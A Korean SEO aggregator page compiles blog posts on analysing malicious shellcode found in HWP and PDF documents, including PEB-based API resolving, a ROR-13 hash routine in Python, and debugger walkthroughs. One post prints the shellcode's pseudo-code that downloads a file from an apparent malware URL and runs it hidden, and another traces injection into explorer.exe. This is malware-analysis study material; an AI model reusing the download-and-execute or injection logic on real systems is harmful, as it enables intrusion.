Most searched keywords: Whether you are looking for Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석 악성 쉘코드(Shellcode) 분석. 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 … 악성 쉘코드(Shellcode) 분석 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다. [그림 1. ODA에서 디스어셈블한..

Table of Contents:

Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

Read More

[쉘코드] 쉘코드 분석 방법 : 네이버 블로그

Article author: m.blog.naver.com

Reviews from users: 34454 Ratings

Ratings Top rated: 4.4

Lowest rated: 1

Summary of article content: Articles about [쉘코드] 쉘코드 분석 방법 : 네이버 블로그 [쉘코드] 쉘코드 분석 방법 · 1. 난독화 해제 및 쉘코드 추출 · malzilla by bobby 툴을 이용하여 PDF 내에서 추출된 악성 쉘 코드(스크립트)를 말질라에서 … …

Most searched keywords: Whether you are looking for [쉘코드] 쉘코드 분석 방법 : 네이버 블로그 [쉘코드] 쉘코드 분석 방법 · 1. 난독화 해제 및 쉘코드 추출 · malzilla by bobby 툴을 이용하여 PDF 내에서 추출된 악성 쉘 코드(스크립트)를 말질라에서 …

Table of Contents:

카테고리 이동

댕이댕이의 Network 블로그!

이 블로그

문서형_악성코드

카테고리 글

카테고리

이 블로그

문서형_악성코드

카테고리 글

[쉘코드] 쉘코드 분석 방법 : 네이버 블로그

Read More

쉘코드 분석 방법

Article author: isacacia.tistory.com

Reviews from users: 13776 Ratings

Ratings Top rated: 4.5

Lowest rated: 1

Summary of article content: Articles about 쉘코드 분석 방법 한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다. …

Most searched keywords: Whether you are looking for 쉘코드 분석 방법 한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다. 한글 악성코드를 분석하다가 외부 접속지에서 파일을 받아 그 파일의 데이터를 바로 메모리 상에서 실행시키는 파워쉘 구문을 확인하였다. 확인 결과 다운로드 받은 파일은 쉘코드 였으며, 그 쉘코드를 분석하는..

Table of Contents:

Main Menu

쉘코드 분석 방법

‘공부개인적 공부 공간’ 관련 글

Sidebar

티스토리툴바

쉘코드 분석 방법

Read More

64비트 쉘코드를 실행하는 한글문서 악성코드

Article author: malwareanalysis.tistory.com

Reviews from users: 22367 Ratings

Ratings Top rated: 4.9

Lowest rated: 1

Summary of article content: Articles about 64비트 쉘코드를 실행하는 한글문서 악성코드 64비트 프로세스에 인젝션된 쉘코드를 분석합니다. 2. 행위분석. 프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다. …

Most searched keywords: Whether you are looking for 64비트 쉘코드를 실행하는 한글문서 악성코드 64비트 프로세스에 인젝션된 쉘코드를 분석합니다. 2. 행위분석. 프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다. 악성코드 링크: https://app.any.run/tasks/b4381901-3a3b-4055-8304-f0870a8d3c7c/ 프로세스모니터 로그 다운로드 링크: https://drive.google.com/file/d/1CzQG1FTBlQGd7wJU_jwskp2S5lo5Qqsl/view?usp=sharing h..

Table of Contents:

1 요약

2 악성코드 추출

3 쉘코드 실행

4 쉘코드 분석

5 64비트 쉘코드 분석

6 참고자료

티스토리툴바

64비트 쉘코드를 실행하는 한글문서 악성코드

Read More

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

Article author: kjcc2.tistory.com

Reviews from users: 20317 Ratings

Ratings Top rated: 4.4

Lowest rated: 1

Summary of article content: Articles about [강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자 지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 … …

Most searched keywords: Whether you are looking for [강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자 지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 … 지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 분석하는데 있어, 못하는 부분들이 있기 때문에 이런 방법을..

Table of Contents:

Header Menu

Main Menu

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

Sidebar – Right

Sidebar – Footer 1

Sidebar – Footer 2

Sidebar – Footer 3

Sidebar – Footer 4

Copyright © 처리의 블로그 All Rights Reserved

Designed by JB FACTORY

티스토리툴바

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

Read More

해커스쿨 F.T.Z 쉘코드(Shell Code) 실습

Article author: engeon.tistory.com

Reviews from users: 46395 Ratings

Ratings Top rated: 3.5

Lowest rated: 1

Summary of article content: Articles about 해커스쿨 F.T.Z 쉘코드(Shell Code) 실습 gcc로 컴파일하고 실행하면 “hello world”가 잘 나온다. 이제는 objdump를 사용해 기계어 코드를 분석한다. objdump 실행. gdb로 분석 … …

Most searched keywords: Whether you are looking for 해커스쿨 F.T.Z 쉘코드(Shell Code) 실습 gcc로 컴파일하고 실행하면 “hello world”가 잘 나온다. 이제는 objdump를 사용해 기계어 코드를 분석한다. objdump 실행. gdb로 분석 … level 11을 하기에 앞서 쉘코드에 대해 배우고 간단한 실습을 하는 시간을 가진다. 쉘코드에 대해서 처음 알았고 구글링을 통한 실습을 했다. 어셈블리 언어에 대해서는 Break Time에서 아주 조금이나마 들여다보..

Table of Contents:

태그

관련글

댓글0

공지사항

최근글

인기글

최근댓글

태그

전체 방문자

해커스쿨 F.T.Z 쉘코드(Shell Code) 실습

Read More

See more articles in the same category here: 607+ tips for you.

Re: 제로부터 시작하는 블로그 생활 :: 악성 쉘코드(Shellcode) 분석

악성 쉘코드(Shellcode) 분석 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다. [그림 1. ODA에서 디스어셈블한 쉘코드 전체, 클릭하면 커집니다] 쉘코드 전체는 위와 같습니다. 이 쉘코드는 크게 함수를 찾아 실행시키는 함수와 연쇄적으로 함수를 호출하는 두 부분으로 나뉩니다. 함수를 찾아 실행시키는 이 함수가 가장 중요하므로 메인 함수라고 부르겠습니다. 맨 밑에는 URL String이라고 주석으로 단 것과 같이 URL 문자열이 들어 있습니다. [그림 2. 쉘코드 시작 직후 바로 Call 하는 루틴] 우선 함수를 호출하는 부분부터 살펴보면, 쉘코드가 시작하자마자 쉘코드 내의 특정 함수를 Call하는 것을 볼 수 있습니다. Call 명령어의 특징은 JMP 명령과는 달리 실행되면서 자동으로 스택에 다음 명령어의 주소(여기서는 0x30006), 즉 리턴 어드레스를 스택에 Push한다는 점인데, Call된 함수 내부에서는 바로 Pop 명령으로 EBP에 그 값을 저장합니다. 그리고 스택에 몇 가지 인자를 넣고 EBP를 그대로 호출합니다. 첫 번째 인자는 지금은 무엇인지 알 수 없는 4바이트 값이며, 두 번째 인자는 Push ESP를 통해 들어간 문자열 값으로 “urlmon”이라는 값입니다. 이를 알 수 있는 이유는 Push ESP 이전에 두 번의 Push를 통해 스택에 문자열로 “urlmon”을 저장하는 것이 보이기 때문입니다. 이제 EBP에 지정된 함수(0x30006)에 대해 분석해보겠습니다. [그림 3. 함수를 찾아 실행시키는 메인 함수] 쉘코드 전체에서 위의 빨간 점선 부분이 Call EBP를 통해 호출되는 부분입니다. 바로 이 함수가 위에서 언급한 메인 함수입니다. 분석을 마치고 내린 결론은 이 함수는 인자로 특정 함수명의 해시를 전달받아 이를 찾아 실행시키는 함수라는 점입니다. 차근차근 위에서부터 분석해보겠습니다. [그림 4. 로드된 모듈과 그 안의 함수 정보를 가져오는 부분] fs:[0x30]으로 PEB를 가져오고, 거기서 또 0xC만큼의 Offset에 있는 Ldr을 가져옵니다. 여기까지만 봐도 벌써 익숙한 코드여서 그 다음은 분석하기 무척 쉬웠습니다. 메모리에 로드된 DLL 정보가 이중 연결 리스트 형태로 저장되어있는 Ldr 구조체를 참조하여 로드된 DLL 정보와 Base Address를 가져오고, 이를 파싱하여 Export Table을 확인합니다. 만약 Export된 함수가 없을 경우에는 밑으로 점프하는데 밑에서는 참조할 DLL을 다음 것으로 로드한 뒤 다시 위로 돌아옵니다. 위 루틴이 끝난 후에는 ESI에 함수 이름이 저장됩니다. 자세한 내용은 전에 공부하며 정리한 적이 있으므로 아래 링크 두 개를 참조하면 되겠습니다. TIB, PEB를 이용해 로드된 DLL 정보 가져오기 : https://5kyc1ad.tistory.com/328 GetProcAddress 없이 API 주소 가져오기 : https://5kyc1ad.tistory.com/329 [그림 5. 찾은 함수명 해싱] 그렇게 찾아온 함수를 직접 만든 듯한 루틴에 넣고 돌려 4바이트짜리 해시를 뽑습니다. lodsb 명령의 경우 ESI가 가리키는 값 한 바이트를 al에 복사하고 ESI 값을 1바이트 증가시키는 역할을 합니다. (참고 : https://blog.naver.com/krquddnr37/20193085864) 해싱 함수의 경우 무척 간단해서 파이썬으로 루틴을 작성해봤습니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # ROL & ROR Function : https://bbolmin.tistory.com/133 def ROL(data, shift, size = 32 ): shift % = size remains = data > > (size – shift) body = (data < < shift) - (remains < < size ) return (body + remains) def ROR(data, shift, size = 32 ): shift % = size body = data > > shift remains = (data < < (size - shift)) - (body < < size) return (body + remains) def HashROR(target): ret = 0 for c in target: ret = ROR(ret, 0xD ) ret + = ord(c) return ret Colored by Color Scripter cs 그리고 나온 해시를 [EBP+24]와 비교하는데, 이는 위에서 Call EBP를 통해 이 함수를 호출하기 전에 첫 번째 인자로 넣었던 값입니다. 즉, 메인 함수의 첫 번째 인자는 찾고자 하는 함수명의 해시임을 알 수 있습니다. [그림 6. 찾은 함수 호출 루틴] 그렇게 찾아낸 함수는 위 루틴을 거쳐 실행시킵니다. 함수로 Jmp하기 전에 Popad와 Pop이 두 번 있는 것을 볼 수 있는데, 그림 3에서 확인할 수 있듯이 메인 함수가 실행된 후 Pushad를 호출했었습니다. Popad로 스택에서 그 부분을 다시 가져오고, pop을 두 번 진행하여 스택에 쌓여 있던 리턴 어드레스와 첫 번째 인자(해싱된 함수명)를 제거합니다. SFP(Saved Frame Pointer)의 경우에는 함수에서 호출되자마자 Push EBP를 통해 스택에 쌓는게 일반적이지만 여기에서는 그런 명령어는 없었으니 논외입니다. 이후 첫 번째로 Pop했던 리턴 어드레스를 다시 Push하고 Call이 아니라 JMP 명령어로 찾아낸 함수를 호출하는데, 이럴 경우 방금 Push한 메인 함수의 리턴 어드레스가 JMP 명령으로 이동할 함수에서 사용할 리턴 어드레스가 되므로 찾아낸 함수가 종료되는 순간 메인 함수를 호출한 다음 명령어로 돌아가게 될 것입니다. (그림 2의 0x300C7) 이렇게 하면 자연스럽게 메인 함수에 넘긴 두 번째 인자부터는 메인 함수 내에서 찾아 호출한 함수의 인자로 들어가게 됩니다. [그림 7. 메인 함수 호출] 이 쉘코드는 이런식으로 Call EBP를 연쇄적으로 호출하는데, 지금까지의 과정으로 메인 함수의 첫 번째 인자는 호출할 함수명의 해시이며 두 번째부터는 찾아서 호출될 함수에 들어갈 인자들이라는 것을 알 수 있었습니다. [그림 8. 함수명과 그 해시] 이를 통해 찾아낸 각 해시에 대응하는 함수명들은 위와 같습니다. 이는 위에 파이썬으로 작성해 둔 HashROR 함수로 얻어낸 값입니다. 그림 7에 빨간 점선으로 표시된 값과 일치하는 것을 확인할 수 있습니다. 그림 7에도 주석으로 달려 있지만 이 쉘코드에서 호출할 것이라 예상되는 함수와 그 순서는 다음과 같습니다. (이해를 돕기 위해 중간에 Pseudo-Code도 포함되어있습니다) 1 2 3 4 5 6 7 LoadLibrary( "urlmon" ); LPVOID p = VirtualAlloc( NULL , 0x400 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); GetTempPathA( 0x104 , p); p + = "tasc.exe" ; URLDownloadToFileA( NULL , "http://hrkumdo.org/xe/files/capsule.jpg" , p, NULL , NULL ); WinExec(p, SW_HIDE); TerminateProcess(INVALID_HANDLE_VALUE, 0 ); Colored by Color Scripter cs 결론을 내리면 이 쉘코드는 특정 URL에서 PE 파일을 다운로드 받아와서 임시 폴더에 저장하고, 콘솔 없이 백그라운드로 실행시키는 동작을 합니다. 난독화나 암호화가 된 것도 아니라서 분석하기는 무척 쉬웠던 것 같습니다. 64비트 쉘코드를 실행하는 한글문서 악성코드 반응형 악성코드 링크: https://app.any.run/tasks/b4381901-3a3b-4055-8304-f0870a8d3c7c/ 프로세스모니터 로그 다운로드 링크: https://drive.google.com/file/d/1CzQG1FTBlQGd7wJU_jwskp2S5lo5Qqsl/view?usp=sharing hybrid-analysis 샌드박스 링크: https://www.hybrid-analysis.com/sample/c5153d6f6c103862f9163814d996f428c4bfe45bed5224d4b21ca239a1ccfcdc?environmentId=110 영상: https://youtu.be/qA5GNwSuqb0 1. 요약 ​ 1.1 한글문서 악성코드 샌드박스 분석 hybrid-analysis 샌드박스를 이용하여 한글 악성코드를 분석합니다. ​ 1.2 한글문서 악성코드 추출 포스트스크립트 쉘을 이용해서 한글문서에 존재하는 악성코드를 추출합니다. ​ 1.3 API 리졸빙 악성코드가 실행 중에 필요한 API함수 주소를 가져오는 과정을 x32dbg 조건 브레이크포인트를 설정하여 로그로 출력합니다. ​ 1.4 헤븐즈게이트 악성코드를 실행하는 시스템이 64비트인 경우 동작하는 헤븐즈게이트를 살펴봅니다. ​ 1.5 인젝션된 64비트 쉘코드 분석 64비트 프로세스에 인젝션된 쉘코드를 분석합니다. 2. 행위분석 프로세스모니터와 샌드박스 보고서를 활용하여 행위분석을 진행합니다. ​ 한글문서를 열자마자 바로 악성코드가 실행됩니다. 악성코드의 목적은 explorer.exe를 대상으로 코드 인젝션을 수행합니다. 그림1 hybrid-analysis 코드 인젝션 로그 ​ 프로세스모니터에서는 코드 인젝션이 실패하여 오류가 발생합니다. 그림2 프로세스모니터 로그 ​ 악성코드는 포스트스크립트로서 한글문서 위에 작은 크기로 숨겨져있습니다. 그림3 한글문서에 숨겨진 악성코드 ​ 2. 악성코드 추출 챕터2에서는 한글파일의 악성코드인 포스트스크립트를 추출합니다. PS스크립트는 https://github.com/TipsforMalwareanalysis/HWP_malware/blob/master/ec0c543675374a0ee9a83a4d55ca1a6c/1_data.ps 에서 볼 수있습니다. EPS스크립트는 https://github.com/TipsforMalwareanalysis/HWP_malware/blob/master/ec0c543675374a0ee9a83a4d55ca1a6c/2_data.eps hwpscan2도구로 한글파일에 존재하는 포스트스크립트를 추출합니다. * Root Entry → BinData → BIN0001.ps 오른쪽 마우스를 클릭 후 Save a Hex(Decompress) 그림4 포스트스크립트 추출 ​ 포스트스크립트는 실행 중에 XOR연산으로 페이로드를 복호화 합니다. 복호화키는 바이트배열입니다. 그림5 포스트스크립트 복호화 ​ 복호화 결과를 파일로 추출하기 위해 실행 명령어(exec)를 출력 명령어(print)로 변경합니다. 그림6 파일 추출을 위한 포스트스크립트 수정 ​ 고스트스크립트 쉘에서 수정한 포스트스크립트를 실행합니다. 결과물을 복사하여 파일로 저장합니다. 그림7 복호화된 데이터 3. 쉘코드 실행 ​jump2it.exe와 gbb.exe를 사용하여 쉘코드를 실행하는 방법에 대해 살펴봅니다. ​ 복호화된 데이터 중 쉘코드가 존재합니다. 쉘코드를 분석하기 위해 exe파일로 변환해야 하는데 파일 크기가 커서 [2차 미북 정상회담.hwp]예제에서 사용한 방법이 되지 않습니다. shellcode2exe.py는 1kbyte크기인 쉘코드만 exe파일로 변경합니다. * 2차 미북 정상회담.hwp 분석 보고서: https://www.notion.so/2-hwp-cbc93af950d745c48dc15d9b355ac6f4 ​ 3.2 jump2it으로 쉘코드 실행 jump2it은 https://github.com/adamkramer/jmp2it/releases/tag/v1.4에서 다운로드 받을 수 있습니다. 3.2.1 쉘코드 추출 [그림 7]에서 ‘<>‘꺽쇠사이에 있는 데이터를 헥사에디터를 활용하여 저장합니다. 그림8 쉘코드 저장 ​ 3.2.2 쉘코드 실행 jump2it로 쉘코드를 실행하고 디버거로 jmp2it.exe프로세스에 Attach하는 방식입니다. 번거로운 점은 Attach하고 몇 개의 명령어를 NOP으로 변경해야 합니다. 그림9 쉘코드 실행 ​ x32dbg로 jmp2it프로세스 attach(File → attach)합니다. 그림10 x32dbg Attach 시도 attach가 성공하면 일시정지 상태로 되고 ret명령어가 보입니다. 그림11 attach 결과 ​F9를 누르고 2~3초 뒤에 일시정시상태로 변경합니다. 그림12 시작→일시정시 결과 ​ 스페이스를 눌러 jmp명령어를 nop으로 변경합니다. 그림14 명령어 변경 결과 ​ all edi까지 실행한 후 F7을 눌러 진입합니다. 그림15 쉘코드 진입 ​ [그림 8]에서 저장한 쉘코드와 진입한 명령어가 일치한 것을 알 수 있습니다. 그림16 쉘코드 진입 성공 3.3 gbb.exe으로 쉘코드 실행 행위분석 [그림 2]를 보면 gbb.exe가 실행되었습니다. gbb.exe는 구버전 한글을 설치하면 기본으로 설치되는 포스트스크립트 실행기입니다. gbb.exe를 디버거로 실행해서 [그림 7]에서 추출한 포스트스크립트를 실행할 것입니다. ​ 한글설치 경로에 gbb.exe를 찾아 x32dbg로 실행합니다. * 설치경로: C:\Program Files (x86)\Hnc\Common80\ImgFilters\GS\gs8.60\bin 그림17 gbb.exe 디버거 실행 ​ gbb.exe를 실행할 때 필요한 인자(File → Change CommandLine)를 수정합니다. [그림 7]에서 추출한 파일 경로를 추가합니다. 그림18 커맨드라인 수정 ​ ctrl + F2를 눌러 gbb.exe를 다시 시작합니다. VirtualProtect에 브레이크포인트를 설정하고 실행합니다. 브레이크포인트에 멈추면 Alt + F9를 눌러 VirtualProtect를 호출한 곳으로 이동합니다. 이동한 곳은 쉘코드 영역입니다. jmp2it실행 결과(그림 16)와 같습니다. 그림19 쉘코드로 이동 4. 쉘코드 분석 ​ 4.1 API 리졸빙 쉘코드는 실행 중에 필요한 API함수 주소를 가져온 뒤 API함수를 실행합니다. 이 과정을 API리졸빙이라고 부릅니다. x32dbg의 브레이크포인트 컨디션이라는 기능을 사용하여 쉘코드가 가져올 API함수 목록을 가져올 수 있습니다. ​ 쉘코드 시작점에서 F8번을 한번 누르면 함수를 call하는 명령어를 만납니다. F7을 눌러 함수에 진입합니다. 그리고 [그림 20]와 같이 브레이크포인트를 설정하고 마지막 브레이크포인트에 멈출 때까지 실행합니다. 그림20 API 리졸빙 함수에 진입하기 위한 브레이크포인트 설정 ​ F7번을 눌러 함수에 진입합니다. 첫 번째 만나는 함수에서도 F7을 눌러 진입합니다. 그림21 API 리졸빙 함수진입 오른쪽 버튼을 눌러 Graph버튼을 클릭합니다. 이제 어셈블리 명령어를 그래프로 볼 수 있습니다. 그림22 그래프 모드 전환 ​ 스크롤을 내리면 xor eax, eax 명령어를 볼 수 있습니다. 해당 명령어는 eax를 0으로 초기화하는 명령어입니다. API함수 주소를 성공적으로 가져왔다면 eax값을 0으로 초기화하지 않으므로 오른쪽 구간은 API함수 주소를 가져오는 과정이 실패했을때 실행됩니다. 반대로 왼쪽은 API함수 주소를 성공적으로 가져왔을 때 실행되는 곳입니다. jmp 명령어에 브레이크포인트를 설정합니다. 그림23 API리졸빙 분기 ​ 이제 브레크포인트 조건을 수정할 겁니다. Breakpoints탭으로 이동하고 [그림 23]에서 설정한 브레이크포인트를 찾아 클릭한 후 Ctrl + E를 누릅니다. Break Condition을 0으로 수정하고 Log Text를 [그림 24]와 같이 설정합니다. 브레이크포인트를 만나도 멈추지 않고 로그를 남기는 설정입니다. * 꼭 스냅샷을 찍고 진행하세요. 그림24 브레이크포인트 조건 수정 ​ F9를 눌러 실행하고 Log탭으로 이동합니다. 쉘코드가 실행 중에 가져온 API주소를 볼 수 있습니다. 오류가 발생할 때까지 F9를 눌러 실행하여 모든 API이름을 출력합니다. 그림25 API리졸빙 로그 ​ API이름을 보고 악성행위를 추측할 수 있습니다. ​ ※ 프로세스 인젝션 ▶ WriteProcessMemory ▶ RtlCreateUserThread ※ 프로세스 정보 탐색 ▶ CreateToolhelp32Snapshot ▶ Process32First ▶ Process32Next ※ 실행환경 검사 ▶ 32비트인지 64비트인지 확인: IsWow64Process ▶ 파일이름검사: GetModuleFileName ※ 권한상승 ▶ ZwAdjustPrivilegesToken ▶ GetCurrentProcess ​ ​ 4.2 프로세스 인젝션 [그림 1]에서 분석한 것처럼 쉘코드는 explorer.exe에 쉘코드를 인젝션합니다. API리졸빙 로그를 통해 프로세스인젝션 함수를 알았으므로 해당 함수에 브레이크포인트를 설정해서 분석해봅시다. ​ 4.2.1 데이터 쓰기: WriteProcessMemroy 스냅샷으로 돌아가 WriteProcessMemroy에 브레이크포인트를 설정합니다. 실행한 후에 스택창을 확인하면 어떤 프로세스에 무슨 데이터를 쓰는지 알 수 있습니다. ​ ※ 2번째 인자: 프로세스 핸들 ※ 3번째 인자: 데이터를 쓸 메모리 주소 ※ 4번째 인자: 인젝션 데이터 ​ 그림26 WriteProcessMemroy 인자 확인 ​ 프로세스 핸들은 x32dbg Handles탭에서 확인할 수 있습니다. Process Hacker와 같이 확인하면 explorer.exe입니다. 그림27 인젝션 대상 확인 [그림 25]을 스택창을 확인하면 explorer.exe 0x2F60000에 데이터를 쓰려는 것을 알 수 있습니다. Process Hacker의 Memory탭을 확인하면 해당 주소는 현재 비어있고 쓰기(R), 읽기(W), 실행(X) 속성이 있습니다. 그림28 인젝션 할 메모리 주소 ​ F9를 눌러 WriteProecessMemory를 실행하면 0x2f60000주소에 데이터가 써집니다. 그림29 인젝션 데이터 확인 4.2.2 인젝션 데이터 실행: RtlCreateUserThread 인젝션한 데이터는 RtlCreateUserThread함수에 의해 실행됩니다. 하지만 분석하는 환경이 64비트인 경우에 브레이크포인트를 설정해도 멈추지 않습니다. 64비트용 RtlCreateUserThread함수를 호출하기 때문입니다. 이 문서에서는 분석환경이 64비트라는 전제로 인젝션 코드 실행은 4.3섹션에서 다룹니다. ​ ​ 4.3 64비트 API함수 호출: 헤븐즈게이트 쉘코드는 IsWow64Process함수를 사용해서 실행환경이 32비트인지 64비트인지 검사합니다. 64비트이면 64비트용 RtlCreateUserThread를 실행하여 인젝션한 데이터를 실행합니다. ​ IsWow64Process에 브레이크포인트를 설정합니다. 브레이크포인트에 멈추면 Alt + F9를 눌러 IsWow64Process를 호출한 곳으로 이동합니다. IsWow64Process결과는 esi레지스터에 저장합니다. 32비트이면 esi레지스터는 0, 64비트이면 esi레지스터가 1이 됩니다. ​ 그림30 IsWow64Process결과 저장 ​ 저는 분석환경이 64비트이므로 ESI레지스터가 1로 설정됩니다. F8번을 눌러 한줄한줄 명령어를 실행합니다. call eax를 만나면 F7을 누릅니다. 그림31 다른 쉘코드 실행 ​ ret far명령어로 64비트 API함수를 실행합니다. ret far을 실행하면 디버거가 꺼집니다. * 꼭 스냅샷을 찍고 진행하세요. 그림32 64비트 API함수 호출 5. 64비트 쉘코드 분석 ​ 64비트 API함수 분석은 64비트 디버거를 사용해야하므로 x64dbg를 사용합니다. ​ 5.1 64비트 쉘코드 Attach x64dbg를 실행하고 explorer.exe에 Attach(File→Attach)합니다. * explorer.exe를 디버깅 하면 작업 표시줄 등 시스템이 제대로 동작하지 않습니다. 그림33 64비트 explorer.exe attach ​ [그림 28]에서 확인한 주소에 브레이크포인트를 설정합니다. 그리고 x32dbg에서 ret far(그림 32)를 실행합니다. 그림33 코드 인젝션 한 메모리 주소에 브레이크포인트 설정 explorer.exe는 바로 브레이크포인트에 멈추지 않습니다. explorer.exe는 쓰레드가 많으므로 브레이크포인트에 멈출 때까지 F9를 눌러 실행합니다. 그림33 브레이크포인트에 멈춤 ​ 5.2 API 리졸빙 64비트 쉘코드 첫 번째 동작은 [그림 20] ~ [그림 25]처럼 필요한 API함수를 주소를 가져오고 실행합니다. ​ 5.2 API 리졸빙 64비트 쉘코드 첫 번째 동작은 [그림 20] ~ [그림 25]처럼 필요한 API함수를 주소를 가져오고 실행합니다. * 꼭 스냅샷을 찍고 진행하세요. 그림34 API 리졸빙 분기 ​ 그림35 브레이크포인트 조건 설정 ​ Log탭에서 확인하시면 네트워크 연결에 관련된 API함수 주소를 가져오는 것을 알 수 있습니다. 그림36 API리졸빙 목록 ​ 5.3 네트워크 활동 분석 쉘코드는 InternetConnectA, HttpOpenRequestA를 사용해서 http프로토콜 통신을 합니다. 해당 함수에 브레이크포인트를 설정하면 누구와 통신하고자 하는지 대상을 알 수 있습니다. 현재 대상은 존재하지 않아 대상확인만 가능하고 통신 목적은 확인하지 못합니다. * 기업 분석 보고서에 의하면 추가 악성코드를 다운로드 받는 목적이라고 합니다. ​ 5.3.1 연결대상 확인: InternetConnectA IntetnectConnect함수에 브레이크포인트를 설정하고 실행합니다. InetnectConnectA함수 2번째 인자는 연결대상 정보를 저장합니다. 현재 64비트 프로세스이기 때문에 RDX레지스터가 2번째 인자를 저장합니다. 그림37 연결대상 확인 ​ 5.3.2 연결주소 확인: HttpOpenRequestA http 프로토콜이므로 [그림 37]에서 확인한 연결대상의 어떤 주소에 연결하려고하는지 확인해봅시다. HttpOpenReuqestA에 브레이크포인트를 설정하고 실행합니다. 3번째 인자가 연결주소를 저장합니다. 64비트이므로 R8레지스터가 3번째 인자 값을 저장합니다. 그림38 연결주소 확인 6. 참고자료 ​ ※ ghostscript 다운로드 링크: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases ※ 분석보고서(중국어): https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-threat-actor-group/ ※ 이글루시큐리티 월간보안동향 2월 보고서: http://www.igloosec.co.kr/pdf/igloosec_security_report_202002.pdf ※ x64dbg log format: https://help.x64dbg.com/en/latest/introduction/Formatting.html ※ 64bit calling convetion: https://docs.microsoft.com/ko-kr/cpp/build/x64-calling-convention?view=vs-2019 반응형

[강좌] 쉘코드(ShellCode)를 OllyDbg로 쉽게 디버깅 해보자

지인분께서 악성스크립트에 들어간 쉘코드 분석방법에 대해서 문의하셔서~^^ 간략하게 글을 적어봅니다. 이 글은 보통 악성 스크립트들을 Malzilla로 분석하는데 있어, 못하는 부분들이 있기 때문에 이런 방법을 많이 사용하고 있습니다. 물론 저는 그렇구요^^; 다른 분들은 어떻게 분석하는지 모르겠네요!! ㅎㅎ – Malzilla : – OllyDbg : – UltraEdit < 준비물>– Malzilla : http://malzilla.sourceforge.net/downloads.html – OllyDbg : http://www.ollydbg.de – UltraEdit 1. 우선 파일을 UltraEdit로 오픈합니다. 그럼 다음과 같이 쉘코드로 보이는 문자열들이 보입니다. 이 문자열들을 복사합니다. (주의) 중간에 “+” 이라는 문자들은 모두 공백으로 바꾸어줍니다^^ 2. 복사 한 부분을 Malzilla의 Misc Decoders탭에 붙여넣기 합니다. 그 후 UCS2 to Hex 를 클릭합니다. 3. 그럼 쉘코드가 Hex값으로 변환되었습니다. 이 부분을 다시 복사합니다. 4. 복사한 부분을 Shellcode analyzer 탭이나 Hex View 탭으로 이동하여 Paste as hex로 붙어넣습니다. 그리고 우측마우스를 눌러서 Save를 합니다. 파일명을 저장 할 때, ” Hex_view_file.mem ” 으로 저장하시면 추후 편리합니다 ㅋㅋ 이제 저장 된 Hex를 OllyDbg에 연동하여 쉘코드를 분석해 보겠습니다. 5. 우선 Olly를 열고 아무파일이나 오픈합니다. 저는 개인적으로 notepad.exe를 좋아해서 ㅡㅡ;; 그 파일을 오픈하였습니다 ㅋㅋ 그리고 마우스 우측버튼을 이용하여 Backup -> Load Backup From File 을 클릭합니다. 아까 저장해 둔 mem 파일을 불러옵니다. 그럼 크기가 안맞는다니 어쩐다니 그런 개소리를 하게 되는데~ 사뿐히 즈려밟고 갑니다. 6. 지금부터가 중요합니다. 백업파일을 적용했으나 변한것이 없을겁니다~ 따라서 다음과 같이 해주세요. 1) Home키를 눌러 맨 위로 올라감 2) Shift + End 키를 이용해서 모든 코드를 블럭처리 3) 마무리로 Alt + BackSpace를 누루면 코드 맨 위에 Hex값을 복사 4) 다시 Home키를 눌러 맨 위로 올라가서 Ctrl+* 로 시작지점을 변경 7. 이제 부터는 일반적인 디버깅 시작~~ Loop 부분이 종료 되면 원하던 주소값을 얻을 수 있습니다. 쉽게 설명한다고 썻는데;; 보는사람입장에서는 어떻게 보일지 모르겠네요 ㅎㅎ 궁금한점이나 안되는 점이 있으시면 댓글로 써주세요^^

So you have finished reading the 쉘 코드 분석 topic article, if you find this article useful, please share it. Thank you very much. See more: 쉘코드 만들기, Malzilla by bobby

[hwp eps] 악성코드 분석 보고서

0. 목차

1. 악성코드 개요

1) 개요

국내 주요 공공기관과 기업 등 많은 사용자들이 이용하는 HWP문서를 대상으로 한 악성코드가 꾸준히 유포되고 있다. 이번에 분석할 HWP문서는 도널드 트럼프 미국 대통령과 김정은 북한 국무위원장이 2019년 2월 27-28일 베트남 하노이에서 가졌던 2차 북미 정상회담 결과에 대한 특별좌담회 문서파일을 미끼로 사용하였다.

일반 문서로 위장된 악성 HWP

악성 HWP 문서의 상당수가 EPS를 이용하여 악성행위를 수행한다.

